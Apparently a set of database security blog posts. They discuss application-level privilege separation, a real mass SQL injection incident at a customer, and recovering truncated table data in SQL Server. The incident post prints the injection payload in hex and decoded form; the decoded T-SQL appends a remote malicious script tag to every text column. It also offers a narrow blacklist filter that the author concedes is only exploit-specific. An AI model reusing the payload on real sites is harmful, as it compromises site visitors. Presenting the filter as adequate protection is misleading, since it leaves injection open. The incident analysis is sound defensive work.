Musings on Database Security

Adrian Lane writes in his blog entry about separation of duties on the application level. While I agree with his sentiments I also know how hard it is to do so from the application development side. In most applications , database connections are using connection pooling. Creating such a separation makes the development process a lot harder. You have a choice of either using separate pools for separate functionality (thus creating transactional problems if you have to do both an administrative and a non-administrative task in the same flow) or using vendor specific light user connections (Oracle provides this) but most tools do not support it. Also, if this is a targeted attack and the attacker has found an SQL injection in your application, it doesn’t really matter under what user the application connects to the database since there are so many ways to perform privilege escalation attacks and own the database from a low privileged account on most DBMSs.

As I always say, the best way to solve SQL injection problems is to use bind variables! Of course, making sure that no code without bind variables ever enters the application is another story

Well, it was an interesting day today for us in Sentrigo. One of our customers was being attacked by this mass SQL injection and since our software identified the attack he came to us to help him cope with the situation. As explained in other places, the attack takes advantage of vulnerable web sites and infects text fields in the database with a malicious Javascript. So, in our case, the initial attack started with the following SQL injection (I removed the actual table names and slightly changed the attack):

SELECT * FROM dbo.xxx WHERE yyy=1;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641524348415228323
53529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C4543542
0612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E
73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E44202862
2E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220
622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420
46524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C452840404645544348
5F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554
205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40
432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616477626E722E636F6D
2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F
437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F722044
45414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));– ORDER BY ooo ASC

Couple of things to notice:

• As you can see, the pure int parameter was being treated by the application as a string and was concatenated directly into the query thus allowing an attacker to add anything he wants because SQL Server supports multiple commands in the same round-trip (batch) using “;”
• The attack itself was hex-encoded to avoid detection and various complications

The attack decodes in SQL Server to the following code:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+”<script src=http://www.chkadw.com/b.js></script>”’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

As you can see, this simple T-SQL iterates on all tables with text fields and appends a call to a script which in turn will attack visitors to the website. Since Hedgehog (our database activity monitoring tool) monitors database memory directly, we could see the command being executed in the decoded form which is really one of our strong points and makes it hard for attackers to evade detection.

So, after detecting the attack and terminating the offending sessions the customer asked our help in fixing his website. We’ve received the ASP source for his website and to my pleasant surprise, the code, although old, was very tidy and actually contained an attempt to prevent SQL injections. Every concatenation of parameters into SQL queries was done as follows:
“SELECT x FROM y WHERE z = ” + Replace(param, “‘”, “””)
Unfortunately, there are a couple of things wrong with this method:

• If you go through the trouble of trying to escape parameters before concatenation, please use a central function so it will be easy to fix across the application
• Most of the parameters are simple integers and no type checks are performed
• Come on, the best way to avoid SQL injection is to use bind variables (parameterized queries). And it will also make your code run faster as the database will be able to cache the execution plan for the statements

Since the application contained many files, it was not feasible to actually go and change all the code to bind variables so I’ve added the following function to a central include file:

<%
Function stripSQL(param)
stripSQL = Replace(param, “‘”, “””)
Set RegularExpressionObject = New RegExp
‘ First pattern is the ; until –
With RegularExpressionObject
.Pattern = “;.+CAST\(.+–”
.IgnoreCase = True
.Global = True
End With
stripSQL = RegularExpressionObject.Replace(stripSQL, “”)
‘ Just to be on the safe side, replace all ;
stripSQL = Replace(stripSQL, “;”, “,”)
Set RegularExpressionObject = nothing
End Function
%>

This function, while very simplistic and definitely exploit oriented, was sufficient to stop the attack because we’ve removed the injected code from being concatenated.

Now, a simple Perl script to replace all the “Replace” occurrences in all files:
perl -i.bak -pe “s#Replace\((\w+), \x22\x27\x22, \x22\x27\x27\x22\)#stripSQL\($1\)#g” *.asp

And voila, the site is up and running…

As I wrote in a previous post, truncating tables or scrambling content might not remove the actual data from the datafiles. The examples I gave in that post were Oracle related and now I’ll show the same using MS SQL Server 2005. I’d like to thank Dmitriy Geyzerskiy for providing the actual working example.

create database Test

go

use Test

go

– Create a dummy table
create table aaa (a varchar(100));

go

BEGIN TRANSACTION
– Populate with dummy data (object names)
insert into aaa
select name from sys.all_objects;

COMMIT;

– Make sure the data is flushed to the disk
CHECKPOINT;

–get the file and page offsets
SELECT
CONVERT (VARCHAR (6),
CONVERT (INT,
SUBSTRING (sa.first_page, 6, 1) +
SUBSTRING (sa.first_page, 5, 1))) as [File offset],
CONVERT (VARCHAR (20),
CONVERT (INT,
SUBSTRING (sa.first_page, 4, 1) +
SUBSTRING (sa.first_page, 3, 1) +
SUBSTRING (sa.first_page, 2, 1) +
SUBSTRING (sa.first_page, 1, 1))) AS [First page]
FROM
sys.system_internals_allocation_units AS sa,
sys.partitions AS sp
WHERE
sa.container_id = sp.partition_id
AND sp.object_id = OBJECT_ID(‘aaa’);

–Allow DBCC output in user window
DBCC TRACEON(3604)

–truncate the table
TRUNCATE TABLE aaa

–examine the contents of the page (all the objects from the truncated table are there)
DBCC PAGE (‘Test’, — database name
1, — [File offset] from previous query
73, — [First page] from previous query
3) — extended output option